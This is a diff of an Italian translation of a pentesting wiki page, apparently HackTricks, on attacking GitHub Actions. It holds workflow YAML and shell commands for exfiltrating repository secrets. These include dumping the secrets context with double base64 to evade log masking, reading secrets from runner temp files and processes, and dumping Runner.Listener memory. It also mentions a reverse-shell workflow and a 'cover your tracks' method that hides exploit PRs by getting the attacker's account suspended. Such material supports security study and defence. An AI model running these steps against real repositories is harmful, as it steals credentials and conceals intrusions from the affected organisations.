Check the following pages:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +468,15 @@ Controlla le seguenti pagine:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accesso ai segreti <a href="#accessing-secrets" id="accessing-secrets"></a>
### Accesso ai secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai segreti:
Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai secrets:
- Se il segreto o il token è impostato su una **variabile d'ambiente**, può essere direttamente accessibile attraverso l'ambiente utilizzando **`printenv`**.
- Se il secret o token è impostato come **variabile d'ambiente**, può essere recuperato direttamente dall'ambiente usando **`printenv`**.
<details>
<summary>Elenca i segreti nell'output dell'azione Github</summary>
<summary>Elencare i secrets nell'output di Github Action</summary>
```yaml
name: list_env
on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Ottieni una reverse shell con segreti</summary>
<summary>Ottieni reverse shell con secrets</summary>
```yaml
name: revshell
on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- Se il segreto è utilizzato **direttamente in un'espressione**, lo script shell generato è memorizzato **su disco** ed è accessibile.
- Se il secret è usato **direttamente in un'espressione**, lo script shell generato viene memorizzato **su disco** ed è accessibile.
- ```bash
cat /home/runner/work/_temp/*
```
- Per le azioni JavaScript, i segreti vengono inviati tramite variabili d'ambiente.
- Per una JavaScript action i secrets vengono inviati tramite environment variables
- ```bash
ps axe | grep node
```
- Per un **azione personalizzata**, il rischio può variare a seconda di come un programma utilizza il segreto ottenuto dall'**argomento**:
- Per una **custom action**, il rischio può variare a seconda di come un programma sta usando il secret che ha ottenuto dall'**argument**:
```yaml
uses: fakeaction/publish@v3
@@ -514,23 +542,47 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusare dei runner self-hosted
- Enumerare tutti i secrets tramite il secrets context (collaborator level). Un contributor con write access può modificare un workflow su qualsiasi branch per dumpare tutti i secrets del repository/org/environment. Usa double base64 per evadere il log masking di GitHub e decodifica localmente:
Il modo per trovare quali **Github Actions vengono eseguite in infrastrutture non-Github** è cercare **`runs-on: self-hosted`** nella configurazione yaml dell'azione Github.
```yaml
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
I runner **self-hosted** potrebbero avere accesso a **informazioni extra sensibili**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? servizio di metadata?) o, anche se è isolato e distrutto, **più di un'azione potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i segreti** dell'altra.
Decodifica localmente:
Nei runner self-hosted è anche possibile ottenere i **segreti dal processo \_Runner.Listener**\_\*\* che conterrà tutti i segreti dei flussi di lavoro in qualsiasi fase dumpando la sua memoria:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Suggerimento: per stealth durante i test, cripta prima di stampare (openssl è preinstallato sui GitHub-hosted runners).
### Abuso dei Self-hosted runners
Il modo per scoprire quali **GitHub Actions vengono eseguite su infrastrutture non-GitHub** è cercare **`runs-on: self-hosted`** nella configurazione yaml delle GitHub Actions.
**Self-hosted** runners potrebbero avere accesso a **informazioni sensibili aggiuntive**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? metadata service?) oppure, anche se isolato e distrutto, **più di una action potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i secrets** dell'altra.
Nei self-hosted runners è anche possibile ottenere i **secrets from the \_Runner.Listener**\_\*\* process\*\* che conterrà tutti i secrets dei workflows in qualsiasi step dumpando la sua memoria:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Controlla [**questo post per ulteriori informazioni**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Registro delle Immagini Docker di Github
### Registro immagini Docker di Github
È possibile creare azioni Github che **costruiranno e memorizzeranno un'immagine Docker all'interno di Github**.\
Un esempio può essere trovato nel seguente espandibile:
È possibile creare Github Actions che eseguono il build e memorizzano un'immagine Docker all'interno di Github.\
Un esempio è disponibile nel seguente elemento espandibile:
<details>
@@ -565,14 +617,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
Come puoi vedere nel codice precedente, il registro di Github è ospitato in **`ghcr.io`**.
Come puoi vedere nel codice precedente, il registry di Github è ospitato in **`ghcr.io`**.
Un utente con permessi di lettura sul repo sarà quindi in grado di scaricare l'immagine Docker utilizzando un token di accesso personale:
Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image utilizzando un personal access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Poi, l'utente potrebbe cercare **segreti trapelati nei livelli dell'immagine Docker:**
Poi, l'utente potrebbe cercare **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -580,15 +632,19 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### Informazioni sensibili nei log di Github Actions
Anche se **Github** cerca di **rilevare valori segreti** nei log delle azioni e **evitare di mostrarli**, **altri dati sensibili** che potrebbero essere stati generati durante l'esecuzione dell'azione non saranno nascosti. Ad esempio, un JWT firmato con un valore segreto non sarà nascosto a meno che non sia [specificamente configurato](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Anche se **Github** prova a **detect secret values** nei log delle actions e a **avoid showing** questi valori, **altri dati sensibili** che potrebbero essere stati generati durante l'esecuzione dell'action non verranno nascosti. Per esempio, un JWT firmato con un secret value non verrà nascosto a meno che non sia [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Coprire le tue tracce
(Tecnica da [**qui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR sollevata è chiaramente visibile al pubblico su Github e all'account GitHub target. In GitHub per impostazione predefinita, **non possiamo eliminare un PR da internet**, ma c'è un colpo di scena. Per gli account GitHub che sono **sospesi** da Github, tutti i loro **PR vengono automaticamente eliminati** e rimossi da internet. Quindi, per nascondere la tua attività, devi o far **sospendere il tuo account GitHub o far segnare il tuo account**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (fondamentalmente rimuovere tutti i tuoi exploit PR)
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. Su GitHub, per default, **non possiamo cancellare una PR dall'internet**, ma c'è un trucco. Per gli account Github che vengono **suspended** da Github, tutte le loro **PRs vengono automaticamente deleted** e rimosse dall'internet. Quindi, per nascondere la tua attività devi o far sì che il tuo **GitHub account venga suspended o che il tuo account venga flagged**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (basicamente rimuovere tutte le tue exploit PR)
Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto ciò che devi fare è condividere "qualcosa" in un Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e così hai reso il tuo exploit invisibile su github.
Un'organizzazione su GitHub è molto proattiva nel reportare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e si assicureranno che il tuo account sia suspended entro 12 hours :p e così hai reso il tuo exploit invisible su github.
> [!WARNING]
> L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub da SIEM poiché dall'interfaccia di GitHub il PR verrebbe rimosso.
> L'unico modo per un'organizzazione per capire di essere stata presa di mira è controllare i log di GitHub dal SIEM, dato che dalla GitHub UI la PR verrebbe rimossa.
## Riferimenti
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../../banners/hacktricks-training.md}}